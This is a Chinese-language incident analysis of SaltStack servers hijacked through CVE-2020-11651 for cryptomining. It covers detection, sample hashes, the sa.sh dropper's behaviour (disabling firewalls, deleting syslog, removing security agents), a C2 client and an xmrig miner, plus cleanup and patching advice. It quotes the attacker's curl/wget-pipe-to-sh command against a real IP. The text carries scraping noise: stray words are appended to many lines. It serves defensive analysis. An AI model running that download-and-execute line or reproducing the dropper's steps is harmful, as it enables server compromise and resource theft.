SaltStack
是一套C/S
架构的运维工具,服务端口默认为4505
/4506
,两个端口若是对外网开放危害很是大,黑客利用SaltStack
的远程命令执行漏洞CVE-2020-11651
能够直接绕过Salt-Master
的认证机制,调用相关函数向Salt-Minion
下发指令执行系统命令,最终致使挖矿。docker
受害Salt-Minion
机器上存在挖矿进程salt-minions
。安全
tmp
目录下存在可疑二进制文件:bash
salt-store
salt-minions
salt-master
机器列表;salt-master
的日志文件/var/log/salt/minion
,是否存在可疑命令执行,筛选cmdmod
:(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
SaltStack
版本,是否存在漏洞CVE-2020-11651
。共三个样本:服务器
文件名 | MD5 |
---|---|
sa.sh | 204780df7dd946401d6e545a130689fb |
salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
这是黑客原始下载执行的脚本文件,salt-store
从这里下载下载的。架构
该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,而且将系统syslog日志删除:运维
而后检测服务器上是否安装安骑士和云镜服务,有则将进程中止并下载对应的卸载脚本进行卸载操做:curl
以后经过netstat
筛选服务器开启的端口和链接,将对应进程所有中止:函数
而后经过ps
、pkill
、pgrep
、killall
筛选进程名和参数,将其对应的进程杀掉,而且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源能够利用:工具
以后会清理/tmp
、/etc/
下其余挖矿进程的二进制文件:url
该脚本还会清理docker
运行的挖矿程序:
脚本最后会从远程下载恶意二进制文件salt-store
到/tmp
或/var/tmp
下:
download2
函数中会从bitbucket
下载恶意二进制文件,若是失败会调用download3
函数从217.12.210.192
下载:
下载以后,将包含如下字段的计划任务删除,这一步能够将其余挖矿和一些HIDS服务的守护任务删掉:
该文件是C2
客户端,从控制端接收指令执行。
运行后该程序会释放矿机文件salt-minions
到/tmp/
下:
salt-store
运行期间会和如下url
进行http
交互:
对该文件静态分析后,发现该程序具备以下功能,包括运行矿机、执行远端指令、端口扫描等:
从样本分析结果看,能够断定这是一个命令控制系统(C2)的客户端,程序运行以后主机会在远端上线,黑客能够登陆远端给客户机下发指令启动挖矿程序。
由salt-store
运行时释放。
该文件有明显的xmrig
特征:
因此该文件是一个xmrig
的矿机。
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
rm -rf /tmp/salt-* /var/tmp/salt-*
SaltStack
到最新版本,修补CVE-2020-11651
漏洞,升级前建议作好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com;SaltStack
为自动更新,及时获取相应补丁;Salt Master
默认监听端口(默认4505
和4506
)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;